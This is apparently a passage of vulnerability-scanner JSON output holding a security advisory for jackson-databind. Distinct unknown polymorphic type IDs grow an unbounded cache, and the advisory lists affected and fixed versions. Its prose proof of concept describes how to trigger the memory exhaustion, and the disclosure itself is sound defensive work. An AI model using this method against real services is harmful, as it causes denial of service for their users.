"2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", "2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.1.2", "2.4.1.3", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.5.1", "2.4.6", "2.4.6.1", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.21.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.22.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.2.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1", "3.2.2" ] } ], "aliases": [ "CVE-2026-91776" ], "database_specific": { "cwe_ids": [ "CWE-400" ], "github_reviewed": true, "github_reviewed_at": "2026-09-30T15:36:55Z", "nvd_published_at": "2026-09-23T03:17:04Z", "severity": "HIGH" }, "details": "### Summary\n\nWith `@JsonTypeInfo(use = Id.NAME, defaultImpl = ...)`, every distinct unknown\nraw type ID selects the same fallback deserializer but is retained as a\nseparate key in `TypeDeserializerBase._deserializers`. An attacker who can\nrepeatedly supply new unknown type IDs can grow this process-lifetime cache\nwithout a configured bound.\n\n### Details\n\nThe affected path is `TypeDeserializerBase._findDeserializer()`. After an\nunknown name-based type ID resolves to the configured fallback/default\nimplementation, jackson-databind caches the result under the attacker-provided\nraw `typeId`. Although all such IDs select the same fallback deserializer, each\nnew string remains a distinct cache key.\n\nThe behavior is runtime-confirmed in jackson-databind 2.22.1 and 3.2.1.\nCurrent 2.22 and 3.2 source branches retained the unbounded `_deserializers`\nmap and per-raw-ID cache write when rechecked. The earlier affected floor has\nnot been established, patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3.\n\nThe vulnerable application must enable name-based polymorphism with a\n`defaultImpl` or equivalent fallback, accept attacker-influenced type IDs, and\nreuse a long-lived mapper/type deserializer across requests.\n\nSuggested correction: avoid caching each unknown raw ID when every such ID\nresolves to the same fallback, use a fallback sentinel, or use an explicitly\nbounded concurrency-safe cache. A regression should contrast many distinct\nunknown IDs with repetitions of one unknown ID across requests.\n\n### PoC\n\nConfigure a polymorphic base type with\n`@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, defaultImpl = Fallback.class)` and\ndeserialize inputs containing unknown type names through the same mapper.\nInspect `TypeDeserializerBase._deserializers` after the run.\n\nOn affected 2.x and 3.x versions, 10,000 distinct unknown raw type IDs produce\n10,000 retained cache entries even though every input selects the same\nfallback deserializer. A matched control that repeats one unknown ID 10,000\ntimes produces one retained entry. This isolates attacker-controlled key\ncardinality from ordinary request count.\n\n### Impact\n\nWhere the stated polymorphic fallback configuration is exposed to\nattacker-influenced type IDs, distinct inputs cause incremental\nprocess-lifetime memory retention and eventual availability pressure or\ndenial of service. This is not claimed as a single-request allocation spike,\nand no fixed bytes-per-ID or time-to-out-of-memory value is asserted. No\nconfidentiality, integrity, or code-execution impact is claimed.\n\nRequested credit: Daniel Birtwhistle", "id": "GHSA-wv8q-qhhj-9h54", "modified": "2026-09-30T15:46:18.451708212Z", "published": "2026-09-30T15:36:55Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wv8q-qhhj-9h54" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91776" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/6203" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/2870d1d6dc1b7e1c07ee11dd5b04ab71cddbb577" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.11" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.3" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.3" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "jackson-databind retains every unknown raw type ID " } ] }, { "package": { "name": "com.fasterxml.jackson:jackson-bom", "version": "2.13.0", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson/jackson-bom@2.13.0" } } ] } ], "experimental_config": { "licenses": { "summary": false, "allowlist": null } } }